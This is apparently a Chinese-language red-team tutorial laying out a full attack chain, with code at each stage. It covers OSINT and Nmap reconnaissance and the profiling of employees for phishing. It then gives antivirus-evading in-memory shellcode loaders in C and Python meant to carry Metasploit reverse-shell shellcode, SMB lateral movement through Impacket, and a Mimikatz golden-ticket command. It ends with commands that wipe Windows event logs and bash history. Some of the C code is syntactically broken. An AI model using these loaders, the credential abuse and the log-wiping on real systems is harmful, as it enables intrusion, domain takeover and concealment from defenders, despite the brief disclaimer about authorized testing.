一、红队视角:攻防演练的核心逻辑
红队演练的本质是模拟真实攻击,目的是发现目标环境中的薄弱点。作为一名攻击者,我会从以下几个问题开始考虑:目标有哪些暴露点?如何最隐秘地渗透?权限如何提升?数据如何窃取?如何清除痕迹?在这个过程中,技术工具是我的武器,策略和思维是我的战术。本文将围绕攻防演练的核心技巧展开,结合工具和代码实战,带你了解红队如何构建完整的攻击链。
---
二、信息收集:目标画像构建
在攻破目标之前,必须构建充分的目标画像。这里的画像不仅仅是网络资产信息,还包括员工行为模式、内部架构、技术栈等等。
信息收集工具的组合拳

红队信息收集通常不会依赖单一工具,而是通过组合拳实现全面覆盖。以下是常用的三种手段:
- 被动信息收集:OSINT
- 工具推荐:Shodan、FOCA、theHarvester
- 示例任务:发现目标暴露的子域名、开放端口、技术栈版本。
<pre><code class="language-python"># 使用theHarvester收集目标的邮件地址、子域名等信息 import subprocess
domain = "example.com" tool = "theHarvester" cmd = f"{tool} -d {domain} -b google"
result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE) print(result.stdout.decode())
输出目标邮件列表</code></pre>
- 主动扫描:端口与服务爆破
- 工具推荐:Nmap、Masscan
- 示例任务:从端口扫描深入挖掘服务及对应的漏洞版本。
<pre><code class="language-bash"># 使用Nmap扫描端口及服务 nmap -sS -sV -T4 target_ip
输出服务版本及潜在漏洞</code></pre>
- 社工画像:员工行为分析
- 工具推荐:LinkedIn、猎聘数据挖掘
- 示例任务:挖掘目标公司员工的职务状态、邮箱格式,结合社工钓鱼攻击。
---
三、Payload构造的艺术:绕过检测的秘密
内存加载的魅力
将恶意载荷直接加载到内存,而非写入磁盘,这是绕过杀软的关键策略。以下是一个经典的Python+C的组合代码,用于构造内存加载后的Shellcode执行。
POC代码实现
<pre><code class="language-c">// 构造恶意Shellcode执行的C代码
include <windows.h>
include <stdio.h>
int main(int argc, char argv[]) { unsigned char shellcode[] = { / 将Metasploit生成的反弹Shellcode填入此处 */ };

void exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof(shellcode)); ((void()())exec)();
return 0; }</code></pre>
<pre><code class="language-python"># 使用Python加载C代码进行内存注入 import ctypes
shellcode = b"\xfc\xe8\x82\x00..." # 填入Shellcode ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), shellcode, ctypes.c_int(len(shellcode))) ctypes.cast(ptr, ctypes.CFUNCTYPE(None))()</code></pre>

重要提示: 仅限授权安全测试使用,切勿用于非法目的。
---
四、横向移动:内网帝国的扩张
攻破外部入口只是第一步,红队的目标往往是内网中的核心系统。横向移动是红队扩张的关键环节,以下是具体手段。
SMB横向移动实战
SMB协议是内网中最常见的横向移动方式。通过管理员凭证的滥用,可以在内网中横跨多个系统。
执行SMB横向移动的代码
<pre><code class="language-python"># 使用Impacket工具实现SMB横向移动 from impacket.smbconnection import SMBConnection
target_ip = "192.168.1.10" username = "admin" password = "P@ssw0rd"
conn = SMBConnection(target_ip, target_ip) conn.login(username, password)
conn.listShares() # 列出目标机器共享资源</code></pre>
---

五、权限提升:从用户到域管的跃迁
利用Kerberos的黄金票
Kerberos协议中的黄金票攻击,是红队权限提升的终极武器之一。攻击者可以伪造任意用户的票据,直接获取域管理员权限。
实战代码:Mimikatz生成黄金票
<pre><code class="language-powershell"># 使用Mimikatz生成黄金票 privilege::debug kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21... /krbtgt:HASH /ptt</code></pre>
---
六、痕迹清除:优雅的隐匿
攻击的最后一步是清除痕迹,确保自己的行动不会被追踪。以下是常用方法:
清除Windows事件日志
<pre><code class="language-powershell"># PowerShell清除事件日志 wevtutil cl Application wevtutil cl Security wevtutil cl System</code></pre>
重写历史记录文件
攻击者通常会清除命令行历史以隐藏操作痕迹。
<pre><code class="language-bash"># Linux清除历史记录 history -c echo "" > ~/.bash_history</code></pre>
---
七、个人经验:如何规避常见错误
- 低调行事:不要贪图快速扩张,谨慎行动减少暴露。
- 备份工具:工具不可用时备选方案一定要齐全。
- 技术迭代:学习新型免杀技术,时刻保持领先。
---
总结
红队攻防演练是一场技术与策略的较量。从信息收集到最终目标,贯穿整个攻击链的核心是对工具的熟练使用与对目标的深入理解。希望这篇文章能让你对红队演练有更深刻的认知,也提醒大家在合法授权的范围内学习与使用技术。